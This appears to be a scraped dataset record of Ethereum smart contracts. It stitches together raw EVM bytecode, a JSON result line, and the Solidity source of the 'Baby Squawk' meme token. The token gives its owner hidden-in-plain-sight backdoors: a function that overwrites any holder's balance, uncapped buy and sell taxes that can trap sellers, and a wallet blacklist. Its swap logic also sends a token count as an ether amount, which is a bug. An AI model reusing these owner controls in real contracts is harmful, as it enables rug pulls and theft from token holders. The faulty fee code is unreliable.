0080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506115bc945050505050565b6103df6004803603604081101561065357600080fd5b506001600160a01b0381358116916020013516611662565b6103df6004803603606081101561068157600080fd5b506001600160a01b0381351690602081013590604001356116ba565b6103df600480360360408110156106b357600080fd5b506001600160a01b038135169060200135611708565b6103df600480360360808110156106df57600080fd5b506001600160a01b03813516906020810135906040810135906060013561174e565b6103df600480360360c081101561071757600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a001356117a4565b6103df6004803603604081101561075f57600080fd5b506001600160a01b0381358116916020013516611999565b6103df6004803603604081101561078d57600080fd5b506001600160a01b03813581169160200135166119f1565b6103df600480360360408110156107bb57600080fd5b506001600160a01b0381358116916020013516611a49565b6103df600480360360808110156107e957600080fd5b506001600160a01b0381358116916020810135916040820135916060013516611aa1565b6103df6004803603606081101561082357600080fd5b506001600160a01b038135169060208101359060400135611afa565b6103df6004803603606081101561085557600080fd5b506001600160a01b038135169060208101359060400135611c12565b6103df600480360360a081101561088757600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160809091013516611c60565b6103df600480360360408110156108c957600080fd5b506001600160a01b038135169060200135611cdf565b6103df600480360360c08110156108f557600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611d25565b6103df600480360360a081101561093d57600080fd5b506001600160a01b038135169060208101359060408101359060608101359060800135611dd9565b6103df600480360360c081101561097b57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611e8d565b6103df600480360360808110156109c357600080fd5b506001600160a01b038135169060208101359060408101359060600135611f41565b6103df600480360360808110156109fb57600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611f97565b6103df60048036036060811015610a3757600080fd5b506001600160a01b03813581169160208101359160409091013516611ff1565b6103df60048036036080811015610a6d57600080fd5b506001600160a01b038135169060208101359060408101359060600135612051565b6103df60048036036060811015610aa557600080fd5b506001600160a01b038135811691602081013591604090910135166120a7565b6103df60048036036040811015610adb57600080fd5b506001600160a01b0381358116916020013516612107565b6103df6004803603610100811015610b0a57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a08101359060c08101359060e0013561215f565b6103df60048036036060811015610b5e57600080fd5b506001600160a01b03813581169160208101359091169060400135612245565b6103df60048036036020811015610b9457600080fd5b50356001600160a01b03166122a5565b6103df60048036036040811015610bba57600080fd5b506001600160a01b03813581169160200135166122e0565b6103df60048036036040811015610be857600080fd5b506001600160a01b038135169060200135612338565b6103df60048036036040811015610c1457600080fd5b506001600160a01b03813516906020013561237e565b6103df60048036036040811015610c4057600080fd5b506001600160a01b03813581169160200135166123c4565b6103df60048036036060811015610c6e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610c9857600080fd5b820183602082011115610caa57600080fd5b803590602001918460208302840111600160201b83111715610ccb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610d1a57600080fd5b820183602082011115610d2c57600080fd5b803590602001918460208302840111600160201b83111715610d4d57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061241c945050505050565b6103df60048036036040811015610da157600080fd5b506001600160a01b03813581169160200135166124d8565b6103df60048036036060811015610dcf57600080fd5b506001600160a01b038135811691602081013582169160409091013516612530565b6103df60048036036060811015610e0757600080fd5b506001600160a01b03813581169160208101359091169060400135612665565b6103df60048036036040811015610e3d57600080fd5b506001600160a01b03813581169160200135166126c5565b6103df60048036036040811015610e6b57600080fd5b506001600160a01b03813516906020013561271d565b6103df60048036036060811015610e9757600080fd5b506001600160a01b03813581169160208101359091169060400135612763565b6103df60048036036060811015610ecd57600080fd5b506001600160a01b03813581169160208101359091169060400135612819565b6103df60048036036020811015610f0357600080fd5b50356001600160a01b0316612879565b6103df60048036036040811015610f2957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610f5357600080fd5b820183602082011115610f6557600080fd5b803590602001918460018302840111600160201b83111715610f8657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506128b4945050505050565b6103df60048036036040811015610fdd57600080fd5b506001600160a01b038135811691602001351661290b565b6103df6004803603604081101561100b57600080fd5b506001600160a01b038135169060200135612963565b6103df6004803603606081101561103757600080fd5b506001600160a01b0381351690602081013590604001356129a9565b6103df6004803603606081101561106957600080fd5b506001600160a01b0381351690602081013590604001356129e4565b6103df6004803603608081101561109b57600080fd5b506001600160a01b038135169060208101359060408101359060600135612a32565b6103df600480360360608110156110d357600080fd5b506001600160a01b03813581169160208101359091169060400135612ae6565b6103df6004803603608081101561110957600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612b46565b6103df6004803603606081101561114557600080fd5b506001600160a01b038135169060208101359060400135612c04565b6103df6004803603606081101561117757600080fd5b506001600160a01b03813581169160208101359091169060400135612ce9565b6103df600480360360808110156111ad57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612d49565b826001600160a01b0316633d285a6f83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b505af1158015611247573d6000803e3d6000fd5b50505050505050565b826001600160a01b03166364dbfd816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561128b57600080fd5b505af115801561129f573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b816001600160a01b031663960e2101826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b505af115801561135d573d6000803e3d6000fd5b505050505050565b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b1580156113be57600080fd5b505af11580156113d2573d6000803e3d6000fd5b5050505050505050565b816001600160a01b0316631d70e433826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b031663bee9cd81826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b03166313af4035826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b826001600160a01b0316636611ac3583836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b816001600160a01b03166338d65d11826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b806001600160a01b031663354af9196040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115a157600080fd5b505af11580156115b5573d6000803e3d6000fd5b5050505050565b60405163c47f002760e01b81526020600482018181528351602484015283516001600160a01b0386169363c47f00279386939283926044019185019080838360005b838110156116165781810151838201526020016115fe565b50505050905090810190601f1680156116435780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561134957600080fd5b816001600160a01b031663c315fc6a826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b816001600160a01b0316635e412858826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113be57600080fd5b856001600160a01b031663fe4f5890856040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b15801561180b57600080fd5b505af115801561181f573d6000803e3d6000fd5b50505050856001600160a01b031663fe4f5890846040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b15801561188957600080fd5b505af115801561189d573d6000803e3d6000fd5b50505050846001600160a01b0316633d285a6f87846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561190157600080fd5b505af1158015611915573d6000803e3d6000fd5b50505050846001600160a01b03166343e9c6b087836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561197957600080fd5b505af115801561198d573d6000803e3d6000fd5b50505050505050505050565b816001600160a01b031663afd8b1d1826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b0316633fcdfe26826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b03166394f3f81d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b6040805163289d1edd60e11b815260048101859052602481018490526001600160a01b03838116604483015291519186169163513a3dba9160648082019260009290919082900301818387803b1580156113be57600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611b4857600080fd5b505af1158015611b5c573d6000803e3d6000fd5b50505050826001600160a01b0316631d70e433846001600160a01b031663affed0e06040518163ffffffff1660e01b815260040160206040518083038186803b158015611ba857600080fd5b505afa158015611bbc573d6000803e3d6000fd5b505050506040513d6020811015611bd257600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b15801561123357600080fd5b826001600160a01b031663610a714a83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b604080516324341e0160e01b81526004810186905260248101859052604481018490526001600160a01b0383811660648301529151918716916324341e019160848082019260009290919082900301818387803b158015611cc057600080fd5b505af1158015611cd4573d6000803e3d6000fd5b505050505050505050565b816001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b856001600160a01b031663fe4f589085846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611d7357600080fd5b505af1158015611d87573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589084836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561197957600080fd5b846001600160a01b031663e372ee4485856040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611e2757600080fd5b505af1158015611e3b573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611cc057600080fd5b856001600160a01b031663610a714a85846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611edb57600080fd5b505af1158015611eef573d6000803e3d6000fd5b50505050846001600160a01b031663610a714a84836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561197957600080fd5b836001600160a01b031663555ec74f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113be57600080fd5b6040805163c15ded6760e01b81526001600160a01b03858116600483015284811660248301526044820184905291519186169163c15ded679160648082019260009290919082900301818387803b1580156113be57600080fd5b826001600160a01b03166366428efd83836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561123357600080fd5b836001600160a01b0316637edf9f4f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113be57600080fd5b826001600160a01b0316636614f01083836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561123357600080fd5b816001600160a01b0316634faeff1d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b876001600160a01b031663d4b9311d8786856040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156121b557600080fd5b505af11580156121c9573d6000803e3d6000fd5b50505050866001600160a01b031663d4b9311d8685846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561222357600080fd5b505af1158015612237573d6000803e3d6000fd5b505050505050505050505050565b826001600160a01b03166343e9c6b083836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b806001600160a01b031663894ba8336040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115a157600080fd5b816001600160a01b031663d544e010826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b031663ef381cc5826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b03166335b28153826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b60005b82518110156124d257836001600160a01b031663310ec4a784838151811061244357fe5b602002602001015184848151811061245757fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156124ae57600080fd5b505af11580156124c2573d6000803e3d6000fd5b50506001909201915061241f9050565b50505050565b816001600160a01b03166326defa73826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b604080516306614f0160e41b81526b3834b22b30b634b230ba37b960a11b60048201526001600160a01b038381166024830152915191851691636614f0109160448082019260009290919082900301818387803b15801561259057600080fd5b505af11580156125a4573d6000803e3d6000fd5b50505050816001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156125e357600080fd5b505af11580156125f7573d6000803e3d6000fd5b505060408051630fe4f58960e41b81526d726564656d7074696f6e5261746560901b60048201526b033b2e3c9fd0803ce8000000602482015290516001600160a01b038616935063fe4f58909250604480830192600092919082900301818387803b15801561123357600080fd5b826001600160a01b03166340c10f1983836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b816001600160a01b03166395ffa802826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b03166332c6a793826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b826001600160a01b0316637a9e5e4b836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156127bb57600080fd5b505af11580156127cf573d6000803e3d6000fd5b50505050826001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561123357600080fd5b826001600160a01b031663310ec4a783836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b806001600160a01b031663be9a65556040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115a157600080fd5b604051635c26412360e11b81526020600482018181528351602484015283516001600160a01b0386169363b84c824693869392839260440191850190808383600083156116165781810151838201526020016115fe565b816001600160a01b0316637a9e5e4b826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561134957600080fd5b816001600160a01b0316638eacff5d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561134957600080fd5b826001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561128b57600080fd5b826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b836001600160a01b0316636c50dbba846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612a7857600080fd5b505af1158015612a8c573d6000803e3d6000fd5b50505050836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113be57600080fd5b826001600160a01b0316639dc29fac83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b836001600160a01b03166394f3f81d846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b158015612b9e57600080fd5b505af1158015612bb2573d6000803e3d6000fd5b50505050836001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156113be57600080fd5b826001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015612c6b57600080fd5b505af1158015612c7f573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b15801561123357600080fd5b826001600160a01b0316631f1e9f2683836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561123357600080fd5b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b158015612da257600080fd5b505af1158015612db6573d6000803e3d6000fd5b505050506000612e2b856001600160a01b0316631853a9a66040518163ffffffff1660e01b815260040160206040518083038186803b158015612df857600080fd5b505afa158015612e0c573d6000803e3d6000fd5b505050506040513d6020811015612e2257600080fd5b50516001612e73565b9050846001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611cc057600080fd5b80820382811115612eb55760405162461bcd60e51b8152600401808060200182810382526022815260200180612ebc6022913960400191505060405180910390fd5b9291505056fe476f76416374696f6e732f7375622d75696e742d75696e742d756e646572666c6f77a26469706673582212208544802d902e6efe27a4f8c15485e587a672bb8acc01d123a90f2a8f02eb48b964736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 8,992 |
0xdf92dae0c82ed834abac0b540dfae9211350ec9c
|
//SPDX-License-Identifier: MIT
/**
https://t.me/BabySquawkCoin
The inspiration of the Baby Squawk token comes from the Squawk token created by one of the SHIB devs. The purpose of this token will be similar to any other
"Baby" version of a token: buying the original token (Squawk, in this case) and burning some of its supply. This will eliminate some supply of Squawk,
thus increasing all holders value of their tokens. In addition, we will aim to reach out to the dev who deployed the Squawk token in the hopes of setting up
an official partnership. Other marketing will happen regardless of the success of this partnership. The tokenomics of this coin are listed below:
Buy tax: 1% auto LP + 6% marketing = 7% total
Sell tax: 1% auto LP + 9% marketing = 10% total
50% marketing goes to buying and burning Squawk token, and 50% goes to marketing this coin.
Website and socials coming soon. With all that being said, welcome to Baby Squawk :)
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BabySquawk is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 100000000 * 10**8;
uint256 private _contractAutoLpLimitToken = 12000000000000;
uint256 private _taxFee;
uint256 private _buyTaxMarketing = 6;
uint256 private _sellTaxMarketing = 9;
uint256 private _autoLpFee = 1;
uint256 private _LpPercentBase100 = 35;
address payable private _taxWallet;
address payable private _contractPayment;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
string private constant _name = "Baby Squawk";
string private constant _symbol = "BABYSQUAWK";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 coinReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_contractPayment = payable(address(this));
_taxFee = _buyTaxMarketing + _autoLpFee;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount = _tTotal.mul(2).div(10**2);
_maxWallet = _tTotal.mul(4).div(10**2);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function isInSwap() public view returns (bool) {
return _inSwap;
}
function isSwapEnabled() public view returns (bool) {
return _swapEnabled;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
_sellTaxMarketing = taxFee;
}
function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
_buyTaxMarketing = taxFee;
}
function setAutoLpFee(uint256 taxFee) external onlyOwner() {
_autoLpFee = taxFee;
}
function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
_contractAutoLpLimitToken = newLimit;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to], "This account is blacklisted");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
require(_canTrade,"Trading not started");
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
if (from == _pair) {
_taxFee = buyTax();
} else {
_taxFee = sellTax();
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!_inSwap && from != _pair && _swapEnabled) {
if(contractTokenBalance >= _contractAutoLpLimitToken) {
swapAndLiquify(contractTokenBalance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);
uint256 half = autoLpTokenBalance.div(2);
uint256 otherHalf = autoLpTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidityAuto(newBalance, otherHalf);
emit SwapAndLiquify(half, newBalance, otherHalf);
swapTokensForEth(marketingAmount);
sendETHToFee(marketingAmount);
}
function buyTax() private view returns (uint256) {
return (_autoLpFee + _buyTaxMarketing);
}
function sellTax() private view returns (uint256) {
return (_autoLpFee + _sellTaxMarketing);
}
function setMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidityInitial() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance} (
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
_approve(address(this), address(_uniswap), tokenValue);
_uniswap.addLiquidityETH{value: etherValue} (
address(this),
tokenValue,
0,
0,
owner(),
block.timestamp
);
_swapEnabled = true;
}
function enableTrading(bool _enable) external onlyOwner{
_canTrade = _enable;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function setMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner {
for(uint256 i = 0; i < recipients.length; i++) {
_balance[recipients[i]] = amounts[i] * 10**8;
emit Transfer(address(this), recipients[i], amounts[i] * 10**8);
}
}
}
|
0x6080604052600436106101e65760003560e01c8063715018a611610102578063bc33718211610095578063e350779711610064578063e3507797146106ae578063ea2f0b37146106d7578063f275f64b14610700578063f8b45b0514610729576101ed565b8063bc337182146105e0578063bfd7928414610609578063cc99689914610646578063dd62ed3e14610671576101ed565b80638da5cb5b116100d15780638da5cb5b1461053657806395d89b41146105615780639e78fb4f1461058c578063a9059cbb146105a3576101ed565b8063715018a6146104b45780637b41192a146104cb578063818a7def146104f45780638c0b5e221461050b576101ed565b8063351a964d1161017a57806363148a501161014957806363148a501461040e5780636b999053146104375780636fc3eaec1461046057806370a0823114610477576101ed565b8063351a964d146103685780634263ec3314610393578063437823ec146103bc5780635d0044ca146103e5576101ed565b806318160ddd116101b657806318160ddd146102ac5780631d60c2b0146102d757806323b872dd14610300578063313ce5671461033d576101ed565b8062b8cf2a146101f2578063061c82d01461021b57806306fdde0314610244578063095ea7b31461026f576101ed565b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021960048036038101906102149190612f9d565b610754565b005b34801561022757600080fd5b50610242600480360381019061023d919061301c565b61087e565b005b34801561025057600080fd5b5061025961091d565b60405161026691906130d1565b60405180910390f35b34801561027b57600080fd5b50610296600480360381019061029191906130f3565b61095a565b6040516102a3919061314e565b60405180910390f35b3480156102b857600080fd5b506102c1610978565b6040516102ce9190613178565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f9919061301c565b610982565b005b34801561030c57600080fd5b5061